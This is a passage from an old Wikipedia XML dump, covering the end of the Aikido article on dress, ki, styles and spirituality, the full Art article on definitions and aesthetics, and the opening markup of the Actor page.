The [[aikidogi]] used in Aikido is similar to the [[keikogi]] used in most other modern [[budo]] arts; simple trousers and a wraparound jacket, usually white. In some places a keikogi of [[karate]] cut is preferred, in others most people use [[judo]] keikogis. Keikogi made specially for aikido exist, but usually not in the lower price ranges. Many dojos insist that the sleeves are cut short to elbow length, to reduce the risk of trapped fingers and injuries in grab techniques to the wrist.

To the keikogi adds the traditional garment [[hakama]], wide pleated trousers. The hakama is usually black or dark blue and in most dojos, the hakama is reserved for practitioners with dan (black belt) ranks. Systems also exist where hakama is never worn or are worn from a specific kyu rank; others exist where women are allowed to wear it earlier than men.

The belt, ''obi'' is wrapped twice around the body similar to in karate or judo. Although some systems use many belt colours similar to the system in judo, the most common version is that dan ranks wear black belt, and kyu ranks white - sometimes with an additional brown belt for the highest kyu ranks. In some dojos it is common to have the same color belt at different levels.

==Spirituality==
The ending &quot;[[do]]&quot; in the word aikido indicates a spiritual path, unlike the ending &quot;jutsu&quot; in the word aikijujutsu, which indicates a system of techniques. Many people see this difference as important as well as regarding [[iaido|iaijutsu]] and [[iaido]], [[jujutsu]] and [[judo]], and [[kenjutsu]] and [[kendo]]. Others see this distinction as a historically incorrect and somewhat unnatural division.  For example, literally, do refers to a path and jitsu to a technique: therefore, some argue, aikido involves both a way (do) and technical study (jutsu).

Ueshiba taught that, while it was important to become proficient in physical technique, this is not the ultimate purpose of training. He taught that the principles learned through training in physical technique are universal and are to be applied to all aspects of one's life. He once commented that he was teaching students not how to move their feet but, rather, how to move their minds.

Many agree that Ueshiba's style became softer, more fluid, and effortless as he grew older. Some suggest this was due to a shift in focus to the spiritual aspects of the art, while others suggest that this was simply a natural result of Ueshiba becoming more proficient in physical technique. Various interpretations have arisen since Ueshiba's death.

A range of aikido schools can be found, each placing a different emphasis on physical techniques, underlying principles, and spiritual concepts. This is largely a result of at what point the founder of each of these schools trained with Ueshiba--earlier or later in Ueshiba's life. The former tend to focus more on physical technique, while the latter tend to focus more on spiritual concepts.  However, this should not be overstated, especially since there is considerable variance from sensei to sensei, and an &quot;aikido continuum&quot; is quite problematic to actually construct.  Some aikidoka view &quot;physical vs. spiritual&quot; as a false separation, or a failed attempt to stereotype branches of aikido.

[[Ki Society]] is an example of a school that focuses heavily on the spiritual concepts of aikido, rather than physical technique. 

===Ki===
[[Image:ki-obsolete.png|left|float|200px|Obsolete form of the ki kanji]]
The Japanese character for [[Qi|ki]], is a symbolic representation of a lid covering a pot full of rice. The steam being contained within, is ki. This same word is applied to the ability to harness one's own 'breath power', 'power', or 'energy'. This 'ki' is the same as the 'qi' in [[Qigong|qi-gong]], but many people argue it is not the same as the 'chi' in [[Tai Chi Chuan|t'ai chi]]. When [[aikidoka]] say that someone is training with a lot of ki, they usually want to express that the person is very non-forcefully compelling in the execution of his technique. Timing, a sense for the correct distance and a centered (undisturbed) mind and body are particularly important. Most teachers claim to locate ki in the [[hara (Martial Arts)|hara]], which might be loosely defined as the body's center of gravity, situated in the lower abdomen, about two inches below and behind the navel. In training it is constantly emphasized that one should keep one's hara — that is, remain ''centered''. Very high ranking teachers sometimes reach a level of coordination that enables them to execute techniques with very little apparent movement, sometimes even without seeming to touch their opponent's body.

Essentially, ki corresponds to the physical concepts of center of gravity, center of momentum, and center of force.  However, these centers are not necessarily the same, so ki also encompasses the biological and mental aspect of training oneself to have exquisite control over motion.

The &quot;spiritual&quot; interpretation of ki depends very much on what school of aikido one studies, as some emphasize it more than others.  Ki Society dojos, for example, tend to spend much more time on ki-related training activities than do, for example, Yoshinkan dojos.  The importance of ki in aikido cannot be denied -- the name of the martial art, after all, can be translated as &quot;the meeting of ki&quot;.  But what ki is, is debated by many within the discipline.  O-Sensei himself appears to have changed his views over time -- for example, Yoshinkan Aikido, which largely follows O-Sensei's teachings from before the war, is considerably more martial in nature, reflecting a younger, more violent and less spiritual O-Sensei.  Within this school, ki perhaps could be better thought of as having its original Chinese meaning of breath, and aikido as coordination of movement with breath to maximize power.  As O-Sensei evolved and his views changed, his teachings took on a much more ethereal feel, and many of his later students (almost all now high ranking senseis within the Aikikai) teach about ki from this perspective.


 

See also: [[Qi]], [[Qigong]]

==Body==
Aikido training is for all-around physical fitness, flexibility, and [[relaxation]].  The human body in general can exert power in two ways: contractive and expansive (aikidofaq.com).  Many fitness activities, for example weight-lifting, emphasize the former, which means that specific muscles or muscle groups are isolated and worked to improve tone, mass, and power.  The disadvantage of this, however, is that whole body movement and coordination are rarely stressed.  Thus, while muscle size and power may increase, there is no emphasis on the ways in which those muscles can work together most efficiently.  Also, this sort of training tends to increase tension, decrease flexibility, and stress the joints.  The result may be aesthetically pleasing, but when done to excess may actually be detrimental to overall health. 

The second type of power, expansive, is mostly stressed in activities such as dance or gymnastics.  In these activities, the body must learn to move in a coordinated manner and with relaxation. Aikido also mostly stresses this sort of training.  While both types of power are important, it is interesting to note that a person who masters the second type of power can, in a martial context, often overcome a person who is much bigger or stronger.   The reason for this is that the contractive power is only as great as the mass and power of your individual muscles.  Expansive power, however, as used in Aikido, can be much greater than your size may lead you to believe.  This is because you move with your whole body.  Rather than stressing and tensing only a few muscles, you learn to relax and move from the center of your body, where you are most powerful.  Power is then extended out naturally through the relaxed limbs, which become almost whip-like in their motion. Needless to say, the power behind an entire person's body will be more than that of someone's arm or leg alone.

Hence, aikido develops the body in a unique manner.  Aerobic fitness is obtained through vigorous training.  Flexibility of the joints and connective tissues is developed through various stretching exercises and through the techniques themselves.  [[Relaxation]] is learned automatically, since without it the techniques will not function.  A balanced use of contractive and expansive power is mastered, enabling even a small person to pit his entire body's energy against their opponent.

With this, different masters stress different aspects of training. Some masters stress importance of body posture while executing the technique in order to coordinate different parts of the body, while others deal with the physical aspects of it. With each way, comes a different means of interpretation of the same basic principles of the art which is discussed in more detail above.

==Mind==
Aikido training does not consider the body and mind as independent entities. The condition of one affects the other. For example, the physical relaxation learned in aikido also becomes a mental relaxation. Likewise, the confidence that develops mentally is manifested in a more confident style. [[Psychological]] or spiritual insight learned during training must become reflected in the body, else it will vanish under pressure, when more basic, ingrained patterns and reflexes take over. Aikido training requires the student to squarely face conflict, not to run away from it.  Through this experience, an Aikido student may learn to face other areas of life in a similarly proactive fashion, rather than in with avoidance and fear.

==Styles==
The major styles of aikido each have their own [[Hombu Dojo]] in [[Japan]], have an international breadth and were founded by direct students of [[Morihei Ueshiba]].  Although there has been an explosion of &quot;independent styles&quot; generally only the first five listed have been considered major.  [[Iwama style|Iwama Ryu]] is a debatable sixth as, although its influence is major, it has until recently been part of the [[Aikikai]] (see below).
&lt;!-- Please see Talk concerning Styles and External Links. Entries should not act as a list of individual or dojo clusters. The length of such a list would be very long. If you disagree please discuss in Talk. --&gt;
* [[Aikikai]] is the largest aikido organisation, and is led by the family of the founder. Numerous sub-organisations and teachers affiliate themselves with this umbrella organisation, which therefore encompasses a wide variety of aikido styles, training methods and technical differences. These sub-organisations are often centred around prominant [[Shihan]] and are usually organised at the national level, although sub-national and inter-national sub-organisations exist.  Please see [[List of famous aikidoka]] for more detail.

*[[Yoshinkan]] Founded by [[Gozo Shioda]], has a reputation for being the most rigidly precise. Students of Yoshinkan aikido practise basic movements as solo kata, and this style has been popular among the Japanese police.  The international organization associated with the Yoshinkan style of aikido is known as the Yoshinkai, and has active branches in many parts of the world.

*[[Yoseikan]] was founded by [[Minoru Mochizuki]], who was an early student of O-Sensei and also of Jigoro Kano at the [[Kodokan]].   This style includes elements of aiki-budo together with aspects of karate, judo and other arts. It is now carried on by his son, [[Hiroo Mochizuki]], the creator of [[Yoseikan Budo]].

*[[Tomiki Aikido|Shodokan Aikido]] (often called Tomiki aikido, after its founder) use sparring and rule based competition in training as opposed to most others. People tend to compete to train rather than to train to compete.  [[Kenji Tomiki]], an early student of O-Sensei and also of judo's [[Jigoro Kano]], believed that introducing an element of competition would serve to sharpen and focus the practice since it was no longer tested in real combat. This latter view was the cause of a split with O-Sensei's family who firmly believed that there was no place for competition in aikido training.  Tomiki said that at no point did O-Sensei actually cast him out.  

*The [[Ki Society]], founded by former head-instructor of the Hombu dojo 10th dan [[Koichi Tohei]], emphasizes very soft flowing techniques and has a special program for the development of [[ki]]. It also has a special system of ki-ranks alongside the traditional [[kyu]] and [[dan]] system. This style is called [[Shin Shin Toitsu Aikido]] (or [[Ki-Aikido]]). 

*[[Iwama style|Iwama Ryu]] emphasizes the relation between weapon techniques and barehand techniques, and a great deal of emphasis is placed on weapons training. Since the death of its founder [[Morihiro Saito]], the [[Iwama style]] has been practiced by clubs within the Aikikai and an independent organization headed by [[Hitohiro Saito]]. Saito sensei was a long time uchideshi of O-Sensei, beginning in 1946 and staying with him through his death. Many consider that Saito sensei was the student who spent most time directly studying with O-Sensei. Saito sensei said he was trying to preserve and teach the art exactly as the founder of aikido taught it to him. Technically, Iwama-ryu seems to resemble the aikido O-Sensei was teaching in the early 50s mainly in the Iwama dojo. The technical repertoire is fairly large.  The new, separate from Aikikai, Iwama Ryu Aikido has been renamed Iwama Shin Shin Aikishurenkai. 

*[[Shin'ei Taido]] Founded by the late [[Noriaki Inoue]], nephew of [[Morihei Ueshiba]].    

*[[Yoshokai]] aikido, begun by then-hachidan Takashi Kushida of Yoshinkan aikido, is a remarkably centralized style of aikido, with test techniques yearly passed down with explanations from the home dojo.  The syllabus contains a considerable amount of weapons study, and like Yoshinkan, Yoshokai includes many solo movements and exercises.

*[[Doshinkan]] aikido, begun by Yukio Utada of Yoshinkan aikido.  Utada was a student of both the Yoshinkan founder Gozo Shioda and Yoshokai founder Takashi Kushida. Like Yoshokai, the syllabus also contains a considerable amount of weapons study, and like Yoshinkan, Doshinkan includes many solo movements and exercises. Doshinkan Aikido (Aikido Association of North America and Doshinkan Aikido International) is still affiliated with the International Yoshinkan Aikido Federation.

*[[Tendo-ryu Aikido|Tendoryu Aikido]] Headed by [[Kenji Shimizu]].

*[[Shin Budo Kai]] headed by [[Shizuo Imaizumi]].

*[[Kokikai]] aikido, founded by [[Shuji Maruyama]] in 1986, focuses on minimalist but effective technique.  It emphasizes natural stances and [[ukemi]] that do not require high [[breakfalls]], and deemphasizes [[atemi]] and techniques that cause pain or undue discomfort to [[uke]].  As such, it is considered by some to be a &quot;soft&quot; style of aikido.

*[[Seidokan]] Aikido, founded by [[Rod Kobayashi]].  Tends to utilize movements which are very small and economical.  Encourages students to discover an aikido which is truly their own, stresses the importance of doing away with the extraneous and focusing on that which works

*[[Nippon Kan]] Headed by [[Gaku Homma]].

*[[Nishio AIkido]] a part of the Aikikai although techically well defined according to its head [[Shoji Nishio]]. Nishio Sensei passed away in March 2005.

*[[Nihon Goshin Aikido]] Headed by Richard Bowe. It is considered a &quot;hard&quot; style of aikido, combining techniques from karate, Judo and Daito-Ryu Aikijutsu. There are roughly a dozen dojos in the United States and none left in Japan. Founded by Shoto Morita in Japan circa 1950. Derivative styles include Nihon Goshin Aikijutsu founded by Walter Kopitov in 2000. For more information see &quot;The Black Belt Master Course in Nihon Goshin Aikido&quot;.

*[[Takemusu Aiki Tomita Academy]]. Academy for the development of Takemusu Aiki founded in 1992 by [[Takeji Tomita]].  This training method incorporates [[Tai-Jutsu]], [[Aiki-Ken]] and [[Aiki-Jo]] for the study of the inter-related principles of Takemusu Aiki and Japanese [[Budo]].

*[[Aiki Manseido]] Headed by [[Kanshu Sunadomari]].  Independent style centred in [[Kyushu]], Japan.
&lt;!-- Please see Talk concerning Styles and External Links. Entries should not act as a list of individual or dojo clusters. The length of such a list would be very long. If you disagree please discuss in Talk. --&gt;

==Aikidoka==
It is sometimes said that in  [[Japan]] the term ''aikidoka'' (合気道家) mainly refers to a [[professional]] while in the west, any one who practices may call themselves an aikidoka. The term ''aikidoist'' is also used as a more general term, especially by those who prefer to maintain the more restricted, Japanese, meaning of the term aikidoka.

:''See [[List of famous aikidoka]]''

==External links==
&lt;!-- Please see Talk concerning Styles and External Links. Entries should not act as a list of individual or dojo clusters. The length of such a list would be very long. If you disagree please discuss in Talk. --&gt;
* [http://www.aikiweb.com AikiWeb Aikido Information] is a comprehensive site on aikido, with essays, [http://www.aikiweb.com/forums/ forums], [http://www.aikiweb.com/gallery images], [http://www.aikiweb.com/reviews reviews], [http://www.aikiweb.com/columns columns], [http://www.aikiweb.com/wiki wiki], and other information. Chief among its notable content is its [http://www.aikiweb.com/search/ aikido dojo search engine].
* [http://www.aikidofaq.com The Aikido FAQ] A large but loose collection of essays, multimedia, and humour
* [http://aikidojournal.com/ Aikido Journal Website] the most comprehensive source of aikido historical information
&lt;!-- Please see Talk concerning Styles and External Links. Entries should not act as a list of individual or dojo clusters. The length of such a list would be very long. If you disagree please discuss in Talk. --&gt;

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  </page>
  <page>
    <title>Art</title>
    <id>752</id>
    <revision>
      <id>42116953</id>
      <timestamp>2006-03-03T22:58:12Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.203.146.34|24.203.146.34]] ([[User talk:24.203.146.34|talk]]) to last version by Dustimagic</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Winged victory.jpg|200px|thumb|[[Winged Victory of Samothrace]] exihibited in the [[Louvre]].]]
By its original and broadest definition, '''''[[art]]''''' (from the [[Latin]] ''ars'', meaning &quot;skill&quot; or &quot;craft&quot;) is the product or process of the effective application of a body of knowledge and a set of skills; this meaning is preserved in such phrases as &quot;[[liberal arts]]&quot; and &quot;[[martial arts]]&quot;. However, in the modern use of the word, which rose to prominence during the [[Renaissance]], ''art'' is commonly understood to be the process or result of making material works (or '''artwork''') which, from concept to creation, adhere to the &quot;[[creativity|creative]] impulse&quot;&amp;mdash;that is, art is distinguished from other works by being in large part unprompted by necessity, by biological drive, or by any undisciplined pursuit of [[recreation]]. By both definitions of the word, artistic works have existed for almost as long as [[human|humankind]], from early [[pre-historic art]] to [[contemporary art]].

The '''creative arts''' are a collection of disciplines whose principal purpose is in the output of material that is compelled by a personal drive and echoes or reflects a message, mood, and [[symbolism]] for the viewer to interpret. As such, the term ''art'' may be taken to include forms as diverse as [[prose]] [[writing]], [[poetry]], [[dance]], [[acting]], [[music]], [[sculpture]] and [[painting]]. In addition to serving as a method of pure creativity and self-expression, the purpose of works of art may be to communicate ideas, such as in politically-, religiously-, and philosophically-motivated art, to create a sense of [[beauty]] (see ''[[aesthetics]]'' and ''[[fine art]]'') or pleasure, or to generate strong [[emotion]]s; the purpose may also be seemingly nonexistent.

As a form of [[culture|cultural]] expression, art may be defined by the pursuit of [[diversity]] and the usage of [[narrative]]s of liberation and exploration (i.e. [[art history]], [[art criticism]], and [[art theory]]) to mediate its boundaries. This distinction may be applied to objects or performances, current or historical, and its prestige extends to those who made, found, exhibit, or own them. Other than originality, there are no widely agreed-upon criteria for what is or isn't considered &quot;art&quot;, and there are many divergent definitions of ''art'' to seek more specific requirements.

==Etymology==
The word ''art'' derives from the [[Latin]] ''ars'', which roughly translates to &quot;skill&quot; or &quot;craft&quot;, and derives in turn from an [[Proto-Indo-European language|Indo-European root]] meaning &quot;arrangement&quot; or &quot;to arrange&quot;. This is the only near-universal definition of art: that whatever is described as such has undergone a deliberate process of arrangement by an agent. A few examples where this meaning proves very broad include [[artifact]], artificial, artifice, [[artillery]], [[Medicine|medical]] arts, and [[military]] arts. However, there are many other colloquial uses of the word, all with some relation to its [[etymology|etymological]] roots.

==Art forms==
There are a variety of arts, including visual arts and design, [[decorative art]]s, [[plastic arts]], and the [[performing arts]]. Artistic expression takes many forms: [[painting]], [[drawing]], [[printmaking]], [[sculpture]], [[music]], [[literature]], and [[architecture]] are the most widely recognised forms. However, since the advent of [[modernism]] and the technological revolution, new forms have emerged. These include [[photography]], [[film]], [[video art]], [[installation art]], [[conceptual art]], [[performance art]], [[community arts]], [[land art]], [[fashion]], [[comics]], [[computer art]], [[anime]], and, most recently, [[video game theory|video games]].

Within each form, a wide range of [[genre]]s may exist. For instance, a painting may be a [[still life]], a [[portrait]], or a [[Landscape art|landscape]] and may deal with [[History painting|historical]] or domestic subjects. In addition, a [[work (fine arts)|work of art]] may be representational or abstract.

Most forms of art fit under two main categories: [[fine arts]] and [[applied art]]s, though there is no clear dividing line. In the visual arts, the term ''fine arts'' most often refers to painting and sculpture, arts which have little or no practical function and are valued in terms of the visual pleasure they provide or their success in communicating ideas or feelings. Other visual arts typically designated as fine arts include printmaking, drawing, photography, film, and video, though the tools used to realize these media are often used to make applied or commercial art as well. Architecture typically confounds the distinctions between fine and applied art, since the form involves designing structures that strive to be both attractive and functional. The term ''applied arts'' is most often used to describe the design or decoration of functional objects to make them visually pleasing. Artists who create applied arts or crafts are usually referred to as [[design]]ers, [[artisan]]s, or craftspeople.

==Defining art==
There is often confusion about the meaning of the term ''art'' because multiple meanings of the word are used interchangeably. Individuals use the word ''art'' to identify painting, as well as singing.

===Characteristics of art===
There follow some generally accepted characteristics of art; after this there is some lengthier discussion of several of those facets perceived as universal or central to art:

* encourages an intuitive understanding rather than a rational understanding, as, for example, with an article in a scientific journal;
* was created with the intention of evoking such an understanding, or an attempt at such an understanding, in the audience;
* was created with no other purpose or function other than to be itself (a radical, &quot;pure art&quot; definition);
* elusive, in that the work may communicate on many different levels of appreciation; one may take the example of [[Gericault]]'s ''[[Raft of the Medusa]]'', in the case of which special knowledge concerning the shipwreck the painting depicts is not a prerequisite to appreciating it, but allows the appreciation of Gericault's political intentions in the piece;
* in relation to the above, the piece may offer itself to many different interpretations, or, though it superficially depicts a mundane event or object, invites reflection upon elevated themes;
* demonstrates a high level of ability or fluency within a medium; this characteristic might be considered a point of contention, since many modern artists (most notably, conceptual artists) do not themselves create the works they conceive, or do not even create the work in a conventional, demonstrative sense (one might think of [[Tracey Emin]]'s controversial ''My Bed'');
* the conferral of a particularly appealing or aesthetically satisfying structure or form upon an original set of unrelated, passive constituents.

===Skill===
Art can connote a sense of trained ability or mastery of a [[Recording medium|medium]].  An example of this is the contemporary young master Josignacio, creator of [[Plastic Paint Medium]]. It can also simply refer to the developed and efficient use of a [[language]] so as to convey meaning, with immediacy and or depth.

A common view is that the epithet 'art' (particular in its elevated sense) requires a certain level of creative expertise by the artist, whether this be a demonstration of technical ability (such as one might find in many works of the [[Rennaissance]] or in the plays of [[Shakespeare]]) or an originality in stylistic approach, or a combination of these two.

For example, a common contemporary criticism of some [[modern art|modern]] painting occurs along the lines of objecting to the apparent lack of skill or ability required in the production of the artistic object.  One might take [[Tracey Emin|Tracey Emin]]'s ''My Bed'' or [[Damien Hirst|Hirst]]'s ''The Physical Impossibility of Death in the Mind of Someone Living'', as examples of pieces wherein the artist exercised little to no traditionally recognised sets of skills. In the first case, Emin simply slept (and engaged in other activities) in her bed before placing the result in a gallery. She has, however, been insistent that there is a high degree of selection and arrangement in this work, which includes objects such as underwear and bottles around the bed. In the second case, Hirst came up with the conceptual design for the artwork. Although he physically particpated in the creation of this piece, he has left the eventual creation of many other works to employed artisans. These approaches are exemplary of a particular kind of contemporary art: [[conceptual art]].

The exclusionary view that art requires a certain skill level to produce is often described as a [[lay critique]]. It derives from the fact that in [[Western culture]] at least, art has traditionally been pushed in the direction of [[representation (arts)|representationalism]], the literal presentation of reality through literal images.  On the other hand, criticism has often been brought to bear on modern artists for having no creative involvement whatsoever in their creations: one might take Hirst's work again as emblematic of this approach.  It may be further noted that certain forms of art outside a Western tradition, such as [[Islamic]] geometric designs and [[Islamic calligraphy|calligraphy]], [[Buddhist]] or [[Hindu]] [[mandalas]] and [[Celtic knotwork]], though they are non-representational, still require a measure of skill and certain creative involvement in their execution.

===Judgments of value===
Somewhat in relation to the above, the word ''art'' is also used to apply judgments of value, as in such expressions as &quot;that meal was a work of art&quot; (the cook is an artist), or &quot;the art of deception,&quot; (the highly attained level of skill of the deceiver is praised). It is this use of the word as a measure of high quality and high value that gives the term its flavor of subjectivity.

Making judgments of value requires a basis for criticism: at the simplest level, a way to determine whether the impact of the object on the senses meets the criteria to be considered ''art'', whether it is perceived to be attractive or repellent. Though perception is always colored by experience, and thus a reaction to art on these grounds is necessarily subjective, it is commonly taken that that which is not aesthetically satisfying in some fashion cannot be art.  However, &quot;good&quot; art is not always, or even regularly, aesthetically appealing to a majority of viewers. In other words, an artist's prime motivation need not be the pursuit of the aesthetic, and art often depicts terrible images made for social, moral, or thought-provoking reasons; for example, [[Francisco Goya]]'s painting depicting the Spanish shootings of [[3rd of May]] [[1808]] is a graphic depiction of a firing squad executing several pleading civilians, yet at the same time, the horrific imagery demonstrates Goya's keen artistic ability in composition and execution, and his fitting social and political outrage.  Thus the debate continues as to what mode of aesthetic satisfaction, if any, is required to define 'art'.

The assumption of new values or the rebellion against accepted notions of what is aesthetically superior need not occur concurrently with a complete abandonment of the pursuit of that which is aesthetically appealing.  Indeed, the reverse is often true, that in the revision of what is popularly conceived of as being aesthetically appealing allows for a re-invigoration of aesthetic sensibility, and a new appreciation for the standards of art itself.  Countless schools have proposed their own ways to define quality, yet they all seem to agree in at least one point: once their aesthetic choices are accepted, the value of the work of art is determined by its capacity to transcend the limits of its chosen medium in order to strike some universal chord, or by the rarity of the skill of the artist, or in its accurate reflection in what is termed the ''[[zeitgeist]]''.

===Communicating emotion===
Art appeals to human emotions. It can arouse [[aesthetic]] or [[morality|moral]] feelings, and can be understood as a way of communicating these feelings. [[artist|Artists]] have to express themselves so that their public is aroused, but they do not have to do so consciously. Art explores what is commonly termed as ''[[human condition|the human condition]]''; that is, essentially, what it is to be human, and art of a superior kind often brings about some new insight concerning humanity (not always positive) or demonstrates a level of skill so fine as to push forward the boundaries of collective human ability.

This is not to say that technical skill is a necessary prerequisite of art, but rather that a high degree of skill goes some way in conferring a judgement of high standard upon an artist or artwork.

===Creative impulse===
From one [[point of view|perspective]], art is a generic term for any product of the [[creative impulse]], out of which sprang all other human pursuits &amp;mdash; such as [[science]] via [[alchemy]], and [[religion]] via [[shamanism]]. The term 'art' offers no true definition besides those based within the cultural, historical and geographical context in which it is applied. Though to the artists themselves, the impulse to create is undeniable; an artist can no more deny that impulse than he/she could ignore breathing (one might compare [[Kandinsky]]'s [[inner necessity]] to this popular view). It is because of the overbearing need to create, in the face of financial ruin, public obscurity or political opposition, that artists are typically conceived of as unstable, even crazy, or misguided.

==Differences in defining art==
Definitions of art and [[aesthetic]] arguments usually proceed from one of several possible perspectives. Art may be defined by the intention of the artist as in the writings of [[John Dewey|Dewey]]. Art may be seen as being in the response/emotion of the viewer as [[Leo Tolstoy|Tolstoy]] claims. In [[Arthur Danto|Danto]]'s view, it can be defined as a character of the item itself or as a function of an object's context.

===Plato===
For [[Plato]], art is a pursuit whose adherents are not to be trusted; given that their productions imitate the sensory world (itself an imitation of the divine world of forms) art necessarily is an imitation of an imitation, and thus is hopelessly far from the source of the truth.  Plato, it may be noted, barred artists from access to his ideal city, in his [[Republic]].

===Aristotle===
Aristotle saw art in less of a bad light; though he shared Plato's poor opinion of it, he nevertheless thought that art might serve the purpose of emotional catharsis.  That is, by witnessing the sufferings and celebrations of actors onstage onlookers might vicariously experience these same feelings themselves, and thereby purge such negative feelings.

===Institutional definition===
Many people's opinions of what art is would fall inside a relatively small range of accepted standards, or &quot;institutional definition of art&quot; ([[George Dickie]] 1974). This derives from education and other social factors. Most people did not consider the depiction of a [[Brillo|Brillo Box]] or a store-bought [[urinal]] to be art until [[Andy Warhol]] and [[Marcel Duchamp]] (respectively) placed them in the context of art (i.e., the [[art gallery]]), which then provided the association of these objects with the values that define art (Although, strictly speaking, Warhol's artwork was not an actual Brillo box but an ''exact replica'' of one - so it met the traditional criterion of skill at the very least).

Most viewers of these objects initially rejected such associations, because the objects did not, themselves, meet the accepted criteria. The objects needed to be absorbed into the general consensus of what art is before they achieved the near-universal acceptance as art in the contemporary era. Once accepted and viewed with a fresh eye, the smooth, white surfaces of Duchamp's urinal are strikingly similar to classical marble sculptural forms, whether the artist intended it or not. This type of recontextualizing provides the same spark of connection expected from any traditionally created art.  It should be noted, however, that Duchamps act might be as readily interpreted as a demonstration of the (not always beneficial) power of artistic institutions, rather than the universal art potentially inherent in all objects.

The placement of an object in an artistic context is not taken as a universal standard of art, but is a common characteristic of [[conceptual art]], prevalent since the 1960s; notably, the [[Stuckist]] art movement criticises this tendency of recent art.

==Related issues==
===Social criticism===
Art is often seen as belonging to one social class and excluding others. In this context, art is seen as a high-status activity associated with wealth, the ability to purchase art, and the leisure required to pursue or enjoy it. The [[Palace of Versailles|palaces of Versailles]] or the [[Hermitage]] in [[St. Petersburg]] with their vast collections of art, amassed by the fabulously wealthy royalty of Europe exemplify this view. Collecting such art is the preserve of the rich, in one viewpoint.

Before the [[13th century]] in [[Europe]], artisans were considered to belong to a lower [[caste]], since they were essentially manual labourers. After Europe was re-exposed to [[Renaissance Classicism|classical culture]] during the [[Renaissance]], particularly in the [[nation-state]]s of what is now Italy ([[Florence]], [[Siena]]), artists gained an association with high status. However, arrangements of &quot;fine&quot; and expensive goods have always been used by institutions of power as marks of their own status. This is seen in the 20th and [[21st century]] by the commissioning or purchasing of art by big businesses and corporations as decoration for their offices.

===Utility===
There are many who ascribe to certain arts the quality of being non-[[utilitarianism|utilitarian]]. This fits within the &quot;art as good&quot; system of definitions and suffers from a class prejudice against labor and utility. Opponents of this view argue that all human activity has some utilitarian function, and these objects claimed to be &quot;non-utilitarian&quot; actually have the rather mundane and banal utility of attempting to mystify and codify unworkable justifications for arbitrary social hierarchy.  It might also be argued that non-utilitarian is, in this context, a mis-usage; that art is not in and of itself, useless, but rather that it particularly use does not manifest itself in any traditionally demonstrable way (though advances in neuroscience may arguably enable the isolation of those associated cortices of the brain concerned with the creation or appreciation of art).

Art is also used by art therapists and some psychotherapists and clinical psychologists as [[art therapy]]. The end product is not the principal goal in this case; rather a process of healing, through creative acts, is sought.  The resultant piece of artwork may also offer insight into the troubles experienced by the subject and may suggest suitable approaches to be used in more conventional forms of psychiatric therapy.

The &quot;use&quot; of art from the artist’s standpoint is as a means of expression. When art is conceived as a device, it serves several context and perspective specific functions. From the artist’s perspective it allows one to symbolize complex ideas and emotions in an arbitrary language subject only to the interpretation of the self and peers.

In a social context, it can serve to soothe the soul and promote popular morale.  In a more negative aspect of this facet, art is often utilised as a form of propaganda, and thus can be used to subtly influence popular conceptions or mood (in some cases, artworks are appropriated to be used in this manner, without the creator's initial intention).

From a more anthropological perspective, art is a way of passing ideas and concepts on to later generations in a (somewhat) universal language. The interpretation of this language is very dependent upon the observer’s perspective and context, and it might be argued that the very subjectivity of art demonstrates its importance in providing an arena in which rival ideas might be exchanged and discussed, or to provide a social context in which disparate groups of people might congregate and mingle.

===History of art===
{{main|History of Art}}

The term '[[art history]]' typically refers to a historical examination of the various trends of the visual arts through certain periods of human history.  It may also be taken to encompass a study of the theories of art, which may or may not include an examination of their historical context.

===Symbols===
{{main|Symbols}}

Much of the development of individual artist deals with finding principles for how to express certain ideas through various kinds of [[symbolism]]. For example, [[Vasily Kandinsky]] developed his use of [[color]] in [[painting]] through a system of stimulus response, where over time he gained an understanding of the [[emotions]] that can be evoked by color and combinations of color. Contemporary artist [[Andy Goldsworthy]], on the other hand, chose to use the [[medium]] of found natural objects and materials to arrange temporary sculptures.

==Cultural differences of art==
Several genres of art are grouped by cultural relevance, examples can be found in terms such as:

*[[African art]]
*[[American craft]]
*[[Islamic art]]
*[[Asian art]] as found in:
**[[Buddhist art]]
**[[Chinese art]]
**[[Art and architecture of Japan|Japanese art]]
**[[Tibetan art]]
**[[Thai art]]
**[[Laotian art]]
*[[Visual arts of the United States]]
*[[Latin American art]]

==See also==
{{portal}}
* [[Aesthetics]], the philosophy of [[beauty]]
* [[Art criticism]]
* [[Art groups]]
* [[Art history]]
* [[Art sale]]
* [[Art school]]
* [[Art styles, periods and movements]]
* [[Art techniques and materials]]
* [[Art theft]]
* [[Artist]]
* [[Definition of music]]
* [[Applied art]]
* [[Fine art]]
* [[Modern art]]
* [[Psychedelic art]]
* [[:Category:Aesthetics|Philosophy of art]]
* ''[[What Is Art?]]''

== Further reading ==
* [[Peter Magyar]], ''Thought palaces.'' Amsterdam: Architectura &amp; Natura Press, 1999
* [[Aristotle]], ''Metaphysics''
* [[Plato]], ''Theory of forms''
* [[Carl Jung]],  ''Man and his Symbols''
* [[Gyorgy Doczi]], ''The Power of Limits''.
* [[Benedetto Croce]], ''Aesthetic as Science of Expression and General Linguistic, 1902''
* [[Louis Torres &amp; Michelle Marder Kamhi]], ''What Art Is: The Esthetic Theory of Ayn Rand,'' Open Court, 2000

==External links==
{{sisterlinks|Arts}}
'''Resources'''
* [http://www.deviantart.com] - Online Arts
* [http://www.artlex.com ArtLex.com] - Dictionary of art terms
* [http://www.artcyclopedia.com/ Artcyclopedia.com] - Reference site
* [http://art.on-topic.net/art_terms_by_name/ Art.on-topic.net] Art Topic Reference site
* [http://www.art-atlas.net Art-Atlas.Net] The International Art Directory
* [http://www.nelepets.com/art The Art Millennium] - Comprehensive Art Encyclopedia
* [http://www.all-art.org History of Art] - World History of Art
* [http://www.hamiltonelectronics.com/hma/ Hamilton Museum of Art] - Online Educational Art Museum
==Professional Links==
*[http://www.TheDirectorsForum.Org/ The Art Museum Partnership]
*[http://www.aam-us.org/ American Association of Museums]

[[Category:Art|*Art]]
[[Category:Top 10| Art]]

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  <page>
    <title>Actor</title>
    <id>753</id>
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      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{otheruses}}
{{unsourced}}
[[Image:ActorsOffSetLaughing.jpg|thumb|right|Actors in period costume sharing a joke whilst waiting between takes during location filming.]]
